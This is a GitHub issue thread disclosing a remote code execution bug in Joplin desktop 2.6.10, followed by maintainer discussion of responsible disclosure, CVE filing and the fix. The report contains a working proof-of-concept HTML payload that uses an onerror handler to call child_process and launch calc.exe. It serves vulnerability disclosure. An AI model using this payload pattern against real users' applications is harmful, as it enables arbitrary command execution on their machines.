Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Remote Code Execution vulnerability #6004

Closed
Anthem-whisper opened this issue Jan 11, 2022 · 14 comments
Closed

Remote Code Execution vulnerability #6004

Anthem-whisper opened this issue Jan 11, 2022 · 14 comments
Labels
bug It's a bug desktop All desktop platforms high High priority issues security

Comments

@Anthem-whisper
Copy link

Anthem-whisper commented Jan 11, 2022

Jopin Remote Code Execution

Description

Joplin is powered by Eelectron. When the victim press Ctrl+P to search content, if the payload is near the content(before the content), we can remotely execute any JavaScript code on the victim's computer.

image-20220111203136246

Affected versions of Joplin

Joplin version: Joplin 2.6.10

Platform: Windows

OS specifics: Windows 11

PoC

  1. Input the following text to anywhere the search engine of Joplin can search (if you use Linux/macOS, you can replace calc.exe to corresponding command)
wh1sper
<img/src="1"/onerror=eval("require('child_process').exec('calc.exe');");>
  1. press Ctrl+P and input wh1sper

image-20220111204104523

@Anthem-whisper Anthem-whisper added the bug It's a bug label Jan 11, 2022
@Daeraxa
Copy link
Contributor

Daeraxa commented Jan 11, 2022

When you create an issue on github, one of the options shows how to submit a potential vulnerability rather than opening a ticket.

@Anthem-whisper
Copy link
Author

Anthem-whisper commented Jan 11, 2022 via email

@Daeraxa
Copy link
Contributor

Daeraxa commented Jan 11, 2022

I didn't say it wasn't. Read the policy which is an option when you try to create a new issue, it shows how to submit a vulnerability.
image

@Anthem-whisper
Copy link
Author

okay

@laurent22
Copy link
Owner

And probably it's the file:// "vulnerability".

@Anthem-whisper
Copy link
Author

I have sent an email, have you received it?

@laurent22
Copy link
Owner

Yes, thanks, I got it and replied.

@laurent22
Copy link
Owner

Check your spam folder if you didn't get my email.

@Anthem-whisper
Copy link
Author

Anthem-whisper commented Jan 11, 2022 via email

@Anthem-whisper
Copy link
Author

excuse me, I can't understand your mean. Maybe, should I request CVE in https://cveform.mitre.org ?

@laurent22
Copy link
Owner

The CVE is up to you, we don't deal with this part. And of course it's not required, we'll fix the bug regardless.

@laurent22
Copy link
Owner

Let's leave the report open actually, so that we can link to it when fixing the issue.

@laurent22 laurent22 reopened this Jan 13, 2022
@laurent22 laurent22 added desktop All desktop platforms high High priority issues security labels Jan 13, 2022
@Perkolator
Copy link
Contributor

Perkolator commented Jan 16, 2022

I have a question, if the vulnerability is meant to be kept from public eye until a fix is made/distributed, doesn't that commit reveal it before this fix is distributed, especially seeing that this fix now only went to a pre-release, not a new stable release? Have I misunderstood something about this? I guess it's impossible to commit something that isn't publicly shown in github, but then vulnerability fixes should pushed straight to stable releases?

@laurent22
Copy link
Owner

It depends on the vulnerability. This one is difficult to exploit and thus it was decided to make the fix available from the pre-release.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
bug It's a bug desktop All desktop platforms high High priority issues security
Projects
None yet
Development

No branches or pull requests

4 participants